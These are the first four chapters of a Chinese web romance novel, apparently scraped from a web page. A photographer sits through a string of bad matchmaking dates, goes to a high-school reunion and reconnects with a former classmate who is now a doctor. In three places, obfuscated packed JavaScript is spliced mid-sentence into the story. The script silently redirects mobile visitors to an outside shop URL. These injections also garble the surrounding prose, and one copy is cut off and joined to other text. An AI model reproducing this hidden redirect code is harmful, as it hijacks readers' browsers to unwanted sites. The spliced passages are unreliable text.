《老同学,结婚吗?》 1. 01 下午三点多,境白工作室的拍摄还在进行。 多盏大功率补光灯同时亮起,光线透亮锐利,纯白无影墙占据大半空间。 年轻的摄影师半蹲在取景器后按下快门,蓝色条纹衫袖口挽起,露出一截精致手腕,骨节修长白净,大半张脸都隐在相机后面,仍然可见柔软短发下白皙的耳廓。 连续不断的快门声短促干净地响起,一旁显示屏实时切换拍下的图片供客户观看,随时沟通调整。 模特去换了身服装回来,又迅速地补了下妆。很快,最后这套拍摄也顺利完成。 “辛苦了辛苦了……” 大家彼此客气地表示感谢。 黎千树手里还拿着相机,伸手扶了下自己拍摄几个小时下来变得有些僵硬的脖颈。今天拍了挺多套衣服,好在模特是之前合作过的,表现力很好,拍起来也比较轻松。 “黎老师,这是你的咖啡。”助理小何过来说咖啡到了。 黎千树冲她笑着道了声谢,又麻烦她帮忙放在桌子上。 接下来跟客户简单沟通了下,然后几个人拆景,把这片区域恢复整洁。 黎千树倒也没急着回到工作区修片,距离交成片还有充足的时间,他窝在沙发里短暂休息会儿。 点开曲女士的聊天框,发过来好几条长语音。黎千树通通语音转文字,其实不用听也能猜到他妈妈要说什么话。 “听说你昨天又去相亲了?”齐彬经过时见他一个人在那儿,也跟着坐过来,挤着他问,“怎么样?” 黎千树最近在相亲的事情不算保密,工作室大部分的人基本都知道。 他拿起冰咖啡深吸一口,话语淡淡:“不怎么样。” 齐彬“啧”地一声,装作家长似的语重心长道:“怎么回事啊小黎,又没看上?” 说完他自己乐了下,不继续打趣对方了,正经道:“行,说说吧,这次又是什么操作?” 黎千树回想了一下昨天见面的那人,是小区红姨介绍的。红姨跟曲海春关系还不错,听说她儿子要相亲,她给牵了个线。 男方年纪比他大三岁,打扮相貌中规中矩,工作有编制,在单位上班,看着稳定。只是身上莫名有股老干部风,尤其他还随身带着个保温杯,更是坐实了黎千树的这种感觉。 如果只是这样,还不算是多奇怪,黎千树也不至于对他印象差。 问题就在于他那个保温杯,据对方介绍是泡的什么好药材,偏方茶水,喝了对身体有好处。 说完还想给黎千树倒一杯尝尝。 黎千树说不用,且再三拒绝说不用,也还是没能拦住他非要倒。 后面对话里也时不时提醒黎千树要少喝咖啡饮料什么的,戒了最好,平时真想喝的话就泡点茶喝,还健康。又说到黎千树是摄影师,问起他平日里不算稳定的作息和工作时间,也是摇摇头一脸不赞成,评价这样不太行,说要是他们真在一起了得改改。 “对了,你会做饭吗?” “平时也不能天天在外面吃,还是得自己下厨,我下班回来也能吃上一口热菜,有家的味道嘛。不会也没关系,可以学。” 黎千树听得当场就场就想走。 这哪里是大三岁,分明大三十岁不止。 亲爹都没这么爹。 齐彬也是听得满脸疑惑,头回听说这样的操作,末了才点评道:“他找个保姆得了呗,怎么还有这样的?不是,什么奇葩人都撞你这儿来了?” 上次,相亲对象据介绍说勤俭努力品性好,其实是嘴上说顺路给黎千树带了杯喝的,回去又让他A钱的抠门男,到了餐厅翻菜单比价格,吃饭时也要念叨几句菜很贵,份量少。 上上回,对方人长得不错,但眉眼间的进攻性太足,黎千树感到不自在。初次见面就动手动脚,递东西故意碰黎千树的手,买单时揽他肩膀,还想搂他腰,被黎千树躲过去,没再有肢体接触。 还有个没见面的,刚加上微信的时候,时不时就要来一句土味情话,还总问他在不在,看得黎千树嘴角一抽只想拉黑,秉着曲女士的教导要有礼貌,忍了又忍,还是说了句“我们不合适”,点了删除。 齐彬也是没想到,总共相了那么几次亲,各个都与众不同。 他问:“这个月第三次了吧。” 黎千树默默往沙发扶手边一倒,说累了。 他是真有点累,这两个月受到的精神折磨不比工作上的少。 齐彬也是有点不理解地说:“你还没到三十呢,怎么阿姨这么着急让你相亲,而且阿姨手里的资源也不太行啊。” “不知道,”黎千树恹恹地给她母亲回消息,随口道,“可能她是在焦虑吧。” 他或多或少也能理解一点曲海春的想法,所以,自己也还算配合她安排的相亲。 但是一直这么下去,黎千树也受不了。 齐彬手一伸,随手拿了个沙发边上招待客户的小零食,闲聊道:“哎,上次有个男模特,小陶吧,找我要你联系方式,你有印象没有?” 黎千树点点头,应该是叫陶瑜。 时尚圈同性恋不算少数,又玩得开。黎千树的外形在摄影圈子里出众,会有合作过的模特想跟他搭上,有些甚至说不谈恋爱,睡一觉也行。 “小陶人还可以,要不试着聊聊?” 黎千树回绝:“他长相不是我喜欢的。” 齐彬扭头看他。 沙发上半躺着的人抬着胳膊回消息,姿态倒是显出几分慵懒随性来。 黎千树天生有一副好面孔,身材清瘦高挑,比起摄影师,更多的人认为他当模特也不逊色,只是他自己没兴趣。 入行以来圈子里喜欢黎千树的也不少,没见他答应哪个人。 其实他不爱找同行,而且觉得那些男模特都或多或少都有些自恋。 齐彬就笑了,说做模特这行的,就得自恋点拍摄才出效果。 黎千树也赞同,但还是不喜欢他们行为里透出的那种认为自己魅力很大的优越想法。 “你喜欢哪样的,我给你留意着。”齐彬平日里跟别人打交道比较多,参加的各种局也多,不同身份的人都有来往。 但黎千树想了想,脑海里却没个具体的形象。 他说不上来,相貌上其实更多的是看眼缘,这种才是最难遇到合适的。 手机消息又响了,他以为还是曲女士发来的,没想到是曾经的班级群里有了动静。这几年群里没有什么人说话,偶尔有人丢个链接进来,或者让大家帮忙砍一刀,再回两个表情包。 黎千树一直是免打扰,今天忽然有了个@全体成员的消息。是班长发的。 他坐了起来。 齐彬看他这样子:“怎么了?” “同学聚会……”黎千树照着上面的文字找到关键词,说是趁着国庆假期聚一聚。 “大学?” 黎千树说是高中。 齐彬一想,高中,那都多少年了,能聚起来吗。 “你们高中班里关系好吗?”他问。 “还可以,”黎千树看着上面有人冒出来的回复,回忆着应答,“那时候关系都还行。” 算算时间,都过去十来年了,大家各奔东西各自发展,也都不是从前的模样了,怎么突然说聚会?或者说,有必要聚吗。黎千树心底冒出这个疑问。 “要去?” 黎千树摇摇头,眉头微微蹙起几分,迟疑道:“不确定……” 齐彬眉毛挑挑,原本对这种事情也不在意,过了两分钟,他像是忽然想到了什么,就冲黎千树一笑。 黎千树一脸莫名。 “去呗,”齐彬对着他下巴一扬,心里头的歪点子也跟着冒出来,“去凑个热闹看看现在大家现在都什么样,说不定就在老同学里看到个顺眼的掳回来,不比你那些奇葩相亲对象强多了?” “说什么呢你。”黎千树表情透着一丝无语。 “真的,我可不是开玩笑,你想啊,以前的同学变化再大又能大到哪里去,无非变胖变丑了点,年纪上来了脾气性格其实大差不差,与其相个陌生人,不如找个高中认识又符合你标准的,也算半个知根知底了。” 黎千树说他真能想。 齐彬倒是颇有几分认真,让他考虑下。 黎千树懒得继续听他说了,也实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849542|211792||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 在没这个想法,拿着咖啡起身就要走,上二楼,继续工作去。 等到所有图片打包传过去,已经是晚上六点多了。黎千树 偏了偏头,活动一下脖子。 望了眼窗外,是暮色中的初秋。 虽说是入秋了,但白天的气温仍然不见降低,只是晚上温差大一点。 下楼时,工作室另外还要工作的几个人正好在准备窗边准备吃晚饭,他们点了外卖。齐彬这会儿不在,应该是有别的约。 其中一个姐见到他,问:“千树忙完了?给你发消息应该没看见,过来一起吃点吗?” 黎千树笑了笑说:“不用了姐,我回去吃。” “那行。”对方也没强求。 工作室离他租的房子不远,黎千树不怎么会做饭,回去的路上打包了一份滑蛋牛肉饭。 曲海春从视频号里给他转发了个炖汤的视频,黎千树点开看了眼,步骤好复杂,他又退出来。 当然曲女士给他转这个视频也不是要他学做饭的意思,是她自己用的。她把黎千树当备忘录,每回提前要做的菜,就转发过来,第二天直接用,不用特意去找了。 黎千树对此没意见。 曲海春又问他工作忙完了没有,吃饭了吗。黎千树一边吃一边回答她,还给拍个张图片过去。 不聊相亲结婚这类的话题的时候,母子俩关系可谓是非常融洽和谐。 或许是昨天那个相亲对象的表现曲海春也不满意,今天晚上意外地没再提这个话题。 所以黎千树心情不错,聊完切换软件,再点回qq群,消息不知不觉竟然99+了。 大概是都下班了,平日里没动静的同学冒出来发言,你一句我一句,聊得起劲。 黎千树翻着记录看,发现过了这么多年,大家聊起来的时候,似乎没有太多隔阂。又或许就是因为太久没联系,一旦开启话茬,想说的比想象中要多。 这种聚会的组织人是班长,聊天的时候还是以前班里性格活跃的那几个人在说话,都在说近况,再扯扯以前读书时候的事情。 其中有两个是高中那会儿经常叫他打球的男生,一个大东,一个二胖。 他俩说起话来还跟以前一模一样,喜欢呛嘴逗乐,没个正形。 毕业之后,黎千树就跟以前的高中同学很少联系,虽然他性格好,谁都玩得来,朋友交得快,但真正维持长久友谊的并不多。那时候高中班里好几个关系可以的,高考完就散了。 还有个外班的朋友,住一个小区,走得挺近,人家毕业出了国,也没怎么联系。 黎千树愣了个神的功夫,不知聊到什么,话题忽然提到他。 有个女生问有人知道黎千树现在在做什么吗,毕业后一直没见过了。 几个人都说不知道,没有他的微信,动态也一直没更新过。 黎千树那时候在班里人缘不错,存在感也强,哪怕没说话,也难免有人提到他。 立刻,有人在群里大大方方@黎千树,让他看到了吭个声。 黎千树一瞧,是二胖。 他嘴角勾了勾,忽然找到点找回熟悉的感觉,顺手回了个“惊讶”的表情。 消息一回复出去,刚还闲扯的几个人,立刻把话题对准了他,跟他聊起来。以前黎千树关系还可以的,也弹出来消息寒暄几句。这其中,数大东和二胖最热情,以前也是他俩最喜欢闹了。 恍惚间,黎千树觉得大家好像没怎么变。 趁着人多,班长又出来发起了一项群接龙,说假期有空愿意去聚餐的同学直接接龙,这样好统计人数,也好提前订桌位。 陆陆续续填得差不多了,点进去就能看到已接龙的同学的姓名。 黎千树假期有工作,不过也算有空,他觉得去聚一下也不错,见些很久不见的昔日同学,看看大家过得怎么样。 于是他点进群接龙,在里面填上了自己的名字。 时间不早了,他填完没有继续在群里说话,打算去洗个澡,也就没有注意到,在“黎千树”三个字下面,跟着出现了一个几乎没有在群里发过言的名字。 它们紧挨着。 2. 02 考虑到大多数人的情况,同学会最后定在了十月六号,也就是国庆节的倒数第二天。 黎千树假期仍然有拍摄,因为赶上品牌商拍的一个小高峰期。 境白摄影工作室算中型规模,但门面比普通的工作室大上一倍,装修阔气又有质感。 不仅对接不同品牌方,还跟文娱、经纪公司有所合作,所以有时候也能碰见娱乐圈的艺人拍摄。 工作室里另有两位资深摄影师,相比较而言,黎千树倒算资历浅的。他主要是拍品牌方的业务,和平面模特接触比较多,大多是拍棚内,有时也拍拍外景。 黎千树本人认真细致,技术不错,长得帅人也很好相处,会及时反馈,不会因为没达到想要的拍摄效果而冷言冷语,很好沟通,赢得了一致好评。 毕竟行业里也有不少新人模特拍摄时效果不佳在摄影师面前压力过大而掉眼泪的例子。 所以黎千树的拍摄工作不算清闲。 齐彬是制片,平日里看起来不怎么着调,工作起来倒是负责,一点不含糊。各种细节敲定确定没问题之后,再把拍摄任务交给黎千树。 当初就是他把黎千树带到这个摄影圈子里来的。 齐彬是他的大学学长。 黎千树一直都对摄影感兴趣,大学时被他忽悠着加了摄影社团,由此认识上,关系意外处得还不错。 这家摄影工作室的老板黎千树不认识,不过齐彬好像跟对方有点关系在,黎千树觉得工作还可以,也就一直干了下来。 工作档期提前安排好,十月六号他原本能休息的,但因为品牌方那边有点事情,比较急,临时改时间想提前拍摄。 齐彬把双方沟通的消息转过来,问他意见。 黎千树说没问题,可以调。 齐彬:不是要去参加同学会? 黎千树:不耽误。 齐彬:来得及吗? 这个品牌的拍摄衣服相对而言没那么多,聚餐又是晚上,黎千树估摸着应该没问题,他回了个“OK”的表情。 六号那天,吃完早餐一行人便开始布景,调设备,试光,模特化妆。 黎千树这几天都有拍摄,曲女士念着他工作忙,没用相亲的事情打扰他,所以黎千树心情肉眼可见的好,跟谁说话都带着点笑。 另外一位女摄叫苏莉,比黎千树大上几岁,拍明星比较多,工作室的人大都叫他莉莉姐。 苏莉对他瞧瞧,细细的眉一挑:“今儿这么高兴?” “我哪天不高兴。”黎千树心情不错地回着。 “那我可得想想啊,要相亲的时候就不高兴,”苏莉涂着显气色的口红,唇一弯,又想起来说,“啊,相完了也不高兴。” 一说完,旁边的几个工作人员都跟着笑了笑。 “莉莉姐……”黎千树无奈,眼睛睁圆了。 “行了行了,就别逗他了,人家相亲也是不容易的。”齐彬替黎千树解围。 黎千树觉得他不如不说。 正好模特也化完妆过来准备开拍了,他开始忙上工作。 开工时间稍晚,原定计划五点钟全部拍成,中间又沟通了新的细节,多加了两组,拖了个把小时才算完成。 好在聚餐时间订的是七点钟,一个小时赶过去足够了。 他直接准备出发,齐彬拦住他,让他正面背面转了圈,细细打量一翻,放心道:“行了,去吧。” 黎千树说他什么毛病。 “把关一下你的穿搭。” 工作的时候黎千树穿深色比较多,有时候是一身纯黑,避免影响光线。今天倒是选了身浅点的,浅麻灰polo衫配着深灰色阔腿长裤,很有极简日系的风格。 他本来就瘦,衬得身板薄薄一片,腿很长。 黎千树笑问关穿搭什么事。 “你懂不懂,八百年不见的同学都以最好的面目去见人,能去的也都是混得不错的,混得差的根本不会来,多少注意下形象,”齐彬看了看他,一摸下巴又放宽心道,“算了无所谓,你带着这张脸去就足够了。” 黎千树觉得这应该是夸他的意思:“我谢谢你?” “开我车去?”齐彬问他。 他那辆豪车开出去面子很足,但黎千树举了一天的相机,手累,想歇着,懒得自己开车了。 “不用,我打个车。” 说话间,黎千树已经在手机上开始定位叫车。 他自己也有个车,平时开得不多。他住的公寓离工作室比较近,没必要特意开车。 工作室离吃饭的酒楼有些距离,想着打车能快点,没想到今天运气不怎么好,堵车堵得厉害,一路上走走停停,黎千树坐在里面都有些闷车了。 他打开车窗透气,外面不时有催促的汽笛声响起。 十月份的天,午后空气里还带着点温热的躁意,气温没完全降下来。按理说,明海市九月中就该入秋了。 车里放着广播,主持人的声音专业而清晰,似乎在说天气,黎千树没有听,抬眼看向天边挂着的一片霓虹色云霞,尽数漫开来,很是漂亮。 偶尔有温和的风拂过。 二胖这时候发消息给他,问怎么还没来,人都要齐了。 【堵车,晚点到。】黎千树回复他。 【okok,兄弟等你。】 一直到七点二十,才赶到目的地。 前台侍应生领着他上楼,在掩着门的包间前停下脚步。 黎千树道了声谢,他听见里面传来交谈的声音,听起来挺热闹。 不知道为什么,黎千树在这样的情境下,忽然有几分紧张,也许是因为自己最晚到的。他心跳得快了点。 黎千树平静了下心情,推门进去,一屋子的人站的站坐的坐,这时都朝他看了过来。霎时安静了几秒。 黎千树囫囵扫了眼包厢里的人,黎千树在这些人的面孔里,看到熟悉的,也有隔了太久不怎么熟悉的。 但真是只剩他一个人没到,这会儿见到大家,那点紧张又消下去,他带着些许歉意不慌不忙道:“不好意思各位,路上堵车,来晚了。” 他的声音不急不缓,在此刻骤然的氛围里,显得格外清朗动听。 “黎千树!等你半天了!”二胖猛地一嗓子,打破这份安静。 他迫不及待地过来将黎千树一把搂住,又不禁扶着他肩膀打量:“我去,你怎么完全没变啊!吃什么长生不老药了……” 二胖原名叫冯超元,因为家里排行老二,小时候特别胖,就给起的小名就叫二胖。高中还是人高马大的。现在一看他比以前要瘦了点,但嘴还是那样闲不下来,碎得很。 他一说完,其余的同学们也都跟着附和搭腔,说他还是那么帅。 “你们忘啦?以前黎千树可是我们班的‘班花儿’啊!” “你一说我就想起来了,‘小梨花儿’嘛!” 得益于黎千树这个名字,很容易能联想到那句耳熟能详的诗。 他又长得好看,高二文艺演出,在朋友的威逼利诱戴了个花环玩儿,实在漂亮,就被打趣叫他班花,小黎花。 黎千树想起这段回忆,也难免不好意思,连忙说别提了吧放过我。 “终于来了啊,可让我们好等。这几年忙什么呢也没个消息……” 一时间热热闹闹地搭起话来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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修长的脖颈露出来,下颌骨的线条清晰可见,浅浅的喉结随着酒水吞咽的动作而上下滚动。 三杯酒下肚,黎千树觉瞬间感觉自己饱了一半。 “酒量可以啊,待会儿多喝点。” 黎千树听见这调侃,连忙摆了下手,笑着摇摇头。 班长让他先坐。 黎千树目光巡视了一圈,发现没剩几个空位。 二胖和大东挨着坐,给他招手示意,让他过来中间挤挤,加个位置。黎千树笑了笑,还是算了,加位置太麻烦了。他对座位没要求,坐哪儿都行。 ? 目光往靠里的方向看了看,正巧有个空出来的位置没人。 黎千树过去,挑着仅有的空位坐下。 低头时,才发现自己衣服上落了酒渍。衣服颜色浅,看得分明,兴许是刚才喝酒喝太急不小心弄上的。 他低着脑袋,扯了扯衣襟,正想伸手拨弄两下,这时邻座递来一张纸巾。 “给。”轻淡的话音响起。 白色的纸巾带着很淡的清香,似有若无地散在空气里。 黎千树愣了下,循着这只骨节分明的手看过去,这人戴着银丝边框眼镜,一张脸斯文禁欲,举止投足尽显成熟气质,竟是完完全全长在黎千树的审美点上。 对方看他没有接,眉头微微动了下。 “谢谢,”黎干树反应半晌,才认出来,“你是……陆璟?” 3. 03 不怪黎千树反应不过来,毕竟现在的陆璟,跟高中的他,相差实在太大了。 学生时代的陆璟,永远是戴着眼镜坐在教室后排埋头苦学,不怎么说话,也不起眼的样子。 一转眼十来年,竟然发生这么大的变化。 但他的眉眼五官还有从前的影子,只是长开了显得愈加成熟,所以黎千树反应了下又凭着记忆里的模样认出来。 “是我。”陆璟看着他的眼睛回答。 他声音不大,低低的,却是温和。 黎千树从他手里接过那张纸巾,想了想说:“你跟以前,有点不一样了。” “是吗?”陆璟轻声应着,像是不太在意,视线堪堪落在他脸上,“你倒是没怎么变。” 周围都吵闹,边上有人凑过来自来熟地跟黎千树搭话,几乎把陆璟的声音盖过去,夸张道:“千树你也这么觉得吧!刚刚陆璟来的时候,我们都没认出来呢。” 黎千树冲她淡淡笑了下,一边低头擦了擦衣服上的酒渍,一边应着“是啊”。 陆璟的目光落在他的侧脸。 “其实他进来的时候我都还在想是不是走错了,没想到是竟然真是我们的同学!” “现在气质不一样了嘛。” “毕竟十年了,大家变化都挺大的。” “那也不一定,我看黎千树就完全还是以前读书时的模样啊,看到他就忍不住想起了高中时的情景。” 话题又扯到自己,黎千树没办法,只好跟着应了几句。 说话的这两个女生以前坐过黎千树的后排,那时候上课喜欢讲小话,经常在后面蛐蛐咕咕。 现在打扮成熟不少,但一聊起来,还是跟以前一样。 好在这个时候班长敲了敲桌子,主动起身,他端着一杯酒开始说话:“今天啊,是我们毕业十周年的同学纪念会,大家好不容易聚齐,聚在这里也很不容易,不得不感谢每一位老同学的到来和捧场……” 周霖说了一段比较官方的话,立刻就有人问:“班长,你怎么突然想到办同学会的啊。” 黎千树跟着听,从他的话里知道,是上半年周霖在工作上碰到了以前的同学林靖阳。 高中时候班里的氛围特别好,虽然学习累但其实很快乐。毕业工作太久,早已失去当初的纯粹,他们约着吃了几次饭,聊起高中的事情难免怀念,正好又是毕业第十年,两人一琢磨就提起干脆办个同学会聚一聚。 “既然都来了,就不要拘束,吃个饭聊聊天……还有两个菜就齐了,大家边吃边聊……” 一桌的人都跟着举了个杯,喝完坐下来开始吃饭。 毕业这么久没见,都有很多话要聊。 黎千树目光转了转,在这些同学的面孔里,看到熟悉的,也有隔了太久不怎么熟悉的。 高中的记忆被唤醒,或多或少都叫得上名字。 变化都有,大多是身材上的改变,也有气质上的不同。有的同学已经结婚了,有的娃都两岁了。有的工作不在本地,是为了这次的同学会特意回来的。 这里面也有没到场的一些同学,回老家,出国的,在外地工作的。没能来大家也都理解。 大家生活经历不同,说起来的内容也宽泛,几个人有共同话题的话又聚在一起聊。 说到变化,这里面变化最大的还是陆璟了。 班上消息齐全点的男生覃书海回忆到:“没记错的当初陆璟是去了a市上大学吧,是我们班考得最好的,好像是学医?” 陆璟闻声回应:“是学医。” “医生啊,真厉害……” “本来学习就很好嘛,在班上经常考第一。” “没错,我也记得,老邢教数学的嘛,可喜欢你了,经常出难题喊你上去做。” “那你毕业后是一直留在了a市的医院工作?” 陆璟轻轻摇头,解释:“前两年调过来了,现在在明海市立医院。” 大家纷纷感慨他厉害,又问他在哪个科室。 明海市比不上a市,但发展得也不差,市立医院就是市里最好的医院,竞争压力都很大。 正好有同学的家里人也是在医院就职,就着这个话题继续聊了聊,陆璟虽然话不多,但都礼貌性地有问必答,只是神情始终不算热情。 黎千树一边听他们说话,一边慢悠悠地吃起东西,没接茬。 蓦然想到,以前同个班的时候,没有几个人会主动同陆璟搭话。他戴窄框眼镜,刘海有时候长过眉毛,眉眼看不太清晰,不怎么笑,整天低头学习,除了出成绩,平时在班里的存在感并不强。 哪怕有活动,有好玩的事情,他也似乎游离于班上的热闹之外,并不关心那些。 同学们都尽可能地避免与他接触。 现在陆医生体面光鲜,大家倒是都愿意主动跟他聊上天,显得热络。 余光里,陆璟身姿端正,话音轻淡,身上那件质感极好的白衬衫衬得他很是斯文矜贵,又或许是那副银丝眼镜衬的。 黎千树默默想,当医生倒是很适合他,气质都不一样了。 几句之后,陆璟结束了话题,没有再继续聊的意思,有眼力见的立刻说起别的。 黎千树本来饿了,中午点的餐不太合胃口,没吃多少,这会儿过来先下了四杯酒,胃里都是酒,原本想先饱餐一顿的心情也淡下去。 “吃点东西缓缓,胃不那么难受。”身边的人低声提醒。 黎千树眼珠再次转回他脸上,或许是太久没见了,不免觉得恍惚。 隔着镜片,陆璟的视线堪称平和地注视过来。 黎千树对这个眼神有几分莫名的熟悉感,他扬扬唇,应了声“好”。 他记得这家酒楼味道不错,先夹了炒菜尝尝。 整个包厢显出几分热闹的嘈杂,不时有人劝酒,黎千树慢慢吃着东西,听耳边一阵大一阵小的吵闹声。 这样一对比,旁边的陆璟反而显得安静。 高中他也是如此,多数时候是独来独往,哪怕班里关系很好,也没交什么朋友。他个子高,总是坐在靠后的位置,闷头学习。 回忆起来,黎千树又忍不住看了眼身旁的人。 陆璟察觉到他的视线,身体稍稍往他这里靠了点:“怎么了?” 黎千树问出自己的疑问:“你,怎么会来聚会……” 陆璟垂了下眸子,似乎自己也在想为什么要来,几秒过后,他修长的指节摩挲了下杯子边缘,应道:“过来看看大家,看看……” 说着转过头来跟黎千树对视。 后面的字眼咬得太轻,黎千树没有听清,只见他淡色的唇动了动。 黎千树眨着盈亮的眼睛:“嗯?” 陆璟的鼻息间溢出点笑意,没有继续说下去,他换了个话题,寒暄道:“你还是跟以前一样。” 这话意思就是黎千树没变过。 黎千树今晚上已经听了很多遍这样的说辞,他说:“我知道啊。” 话音确实明快的,尾调微微上扬。 没有那种听太多而不耐烦的语气。 陆璟看向他。 大概是因为喝了酒,黎千树耳廓比刚来的时候要红,但他皮肤白得过分,透出一层好看的粉来。 他穿得少,身形瘦削,显得薄薄一片,低头时后颈漂亮的骨节一节一节,若隐若现。 黎千树这时候看过来,脑袋偏了偏,带着明显的笑意说:“你刚才说过了。” 他的眼睛弯弯的。 陆璟忍不住望进去,有几分失神。 即便刚刚那么吵,声音被盖住,他也有仔细听陆璟讲的话。 黎千树说完就扭头回去继续吃碗里的食物。35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849544|211792||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 陆璟喉结滚了下,问:“你现在在做什么?” “吃东西,”黎千树很认真地问他,“这个鱼不错,你要尝尝吗?” 陆璟定定看他,忽地垂眼很轻地笑了下。 他笑起来比想象中要温和,仍是斯文克制,黎千树注意到他的喉结轻轻颤动。 “逗你的,”黎千树也笑笑,不开玩笑了,放下筷子,“我现在……” 他冲陆璟随意地比了个“拍照”的手势,食指曲着按了按。 陆璟意会:“拍照?” “嗯。” “大摄影师。” “哪里,混口饭吃。”黎千树谦虚道。 陆璟却想这很适合他。 高中一到运动会、文艺演出的时候,黎千树就会带着他的相机出现,给大家拍照,单人照合照都有。 他喜欢给人拍照,记录那些时刻。 两人这样有一茬没一茬地随口聊着,与周围的热闹很不一样,却是轻松愉快的。 不过这样的氛围没有维持多久,很快被端着酒过来的二胖、大东给打断。 他俩拉着黎千树唠嗑喝酒,追忆往昔。 黎千树陪了几杯,心里有数,没喝太多。 一直到聚餐结束,已经十点多了。 整场聚会都很轻松,大家没有刻意诉苦水、没有分享那些家长里短和工作烦心事,反而都显得很珍惜,一起说起高中趣事,细枝末节都给勾起,带着满满的回忆。 大家依依不舍地起身,陆陆续续往外走。 大东和二胖喝得有点多,互相搭着,走得歪七扭八,好像下一秒就要摔,又维持着微妙的平衡。 二胖挤到黎千树跟前来非要跟他讲话,含糊着说什么高考完你跑哪儿去了,毕业聚会也没来。 马上就要下楼,黎千树只好搀着他,怕他摔倒。 脚还没踏下去,他肩头的重量却是一轻,再一看,陆璟不知何时已经过来,很好心地将挂他身上的二胖扶走了。 开车来的都叫了代驾,没开车的人,班长和林靖阳就给帮忙打车。 大东二胖是醉了些,但记得自己住的地方。班长和林靖阳决定一人送一个回去。 老同学互相帮忙,需要多费心的几个人都给安排妥当了。 看着二胖和大东上了车,黎千树松了口气。 分别前,一行人约着下次有空再聚,但大家都知道,下次人这么齐的时刻,不知道是什么时候了。 他们在风里零零散散地道别离开。 陆璟还没有离开,跟黎千树站在一起。 两个人隔着点距离,影子被拉得长长的。 黎千树为他刚才主动帮忙搀扶冯超元的行为跟他道了声谢,这才注意到他的衬衫有几分皱。 陆璟语气平静地说客气。 站起来才发现,他比自己高出大半个脑袋。 陆璟的衬衫掖在裤子里,肩膀很宽,腰身劲瘦,手臂搭了件轻薄的外套。银丝眼镜偶尔闪出一丝光来。整个人仍然是很有型的,夜色下气质冷冽矜持。 黎千树不自觉多看两眼,又挪开目光。他承认自己有点颜控。 “你呢,开车来的?”陆璟问他。 “没,”黎千树回他,“我叫个车就行。” 他刚掏出手机,陆璟却先开口:“我送你。” 简简单单的三个字,黎千树有些诧异。 陆璟又重复道:“我没喝酒,送你。” 十月份的夜晚,冷风阵阵吹过,黎千树这才觉出天气有些凉。白天温度有点高,他套的是件短袖。 入秋来,温差变大。 夜幕沉沉地降下。风拂过露在外面的手臂,凉意明显。 陆璟将自己手里的那件薄外套递到他手中,“穿上,在这里等我。” “我很快来。” 4. 04 陆璟开着车过来接黎千树的时候,黎千树已经将外套套上了。 路灯下他的身影清瘦颀长。 黎千树稍稍低着脑袋,碎发垂下来点,神色看不分明。脚下碾着一颗很小的石子,动作有些随意,不知道是觉得无聊还是有意思。 直到车开过来停在跟前,他才抬起头。 黑色的车窗降下来,黎千树看到陆璟手搭在方向盘上,偏头望过来。 黎千树没有扭捏,上了车。 “住哪里?”陆璟问他。 黎千树报了自己住的公寓的名字,又问你知道那个地方吗。 他说话的时候声音有些含糊,是嘴里含了一颗薄荷糖,用来驱散酒气的。 陆璟轻轻点了下头,驱车过去。 他的车很干净,没有任何不好的味道。反而是有种很淡的香氛气息若隐若现地浮在空气里,很是清新好闻。 过了半分钟,黎千树舌尖抵了抵,把薄荷糖推到腮边,才想起来问:“你住哪儿,顺路吗?” 陆璟唇角动了动,没有自己住的地方,只回答“顺路”。 “那就好。” 黎千树想着陆璟本来是出于老同学的情面好心送自己回去,但要是绕路大半圈,他也会不大好意思。 车辆行驶带起的风呼呼吹过,刚刚车窗降下没有升上去,黎千树额前发丝被风吹开,露出洁白的额头。 “冷吗?可以把窗关上。”陆璟提醒,与此同时,车速缓缓降下来一点。 黎千树说还好。 他身上多了件外套,挺暖和的。虽然没醉,但今晚喝的酒也不少了,开着窗正好能吹吹风散散酒气。 车里安静下来,只听得见夜风经过的声音。一时间没有人再说话,陆璟也没有放个音乐,或者开个广播听。 一片暖黄色的光在黎千树身上流淌,滑过,变窄消失,再出现。 黎千树的身体被映照得时亮时暗。 他看了会儿窗外,又把视线缓慢转过来,落回正在开车的人身上。 陆璟的手指很长,根根骨节分明,手背盘根错节的青色血管也依稀可见。一直到他袖口挽上去露出的那节手腕,也都是紧致有力的。 黎千树目光渐渐上移。 前方红灯,车慢慢停下来。 陆璟原本注视着前方,半分钟过后他侧过头来,跟黎千树对上。 黎千树没来得及收回视线,但即便跟人这么对视,他也不慌张,反而勾了勾唇,露出一抹坦诚的笑意。 也许是喝了酒,黎千树姿态显得有几分慵懒随意。 车里光线有些暗,但仍然能望见他眼里的光亮,星星点点,比外面的光更透彻漂亮。 “看我这么久,在想什么?”陆璟手指在方向盘上没什么节奏点了点,话音却饶有兴致。 好像很想知道黎千树的想法。 他看过来的时候,镜片上闪过一丝薄光,很快消失不见。 黎千树目光不动声色地扫过他线条流畅的侧脸,鼻梁格外的挺。 他平视前方,说:“没什么,就看看。” 他当然没有说实话。 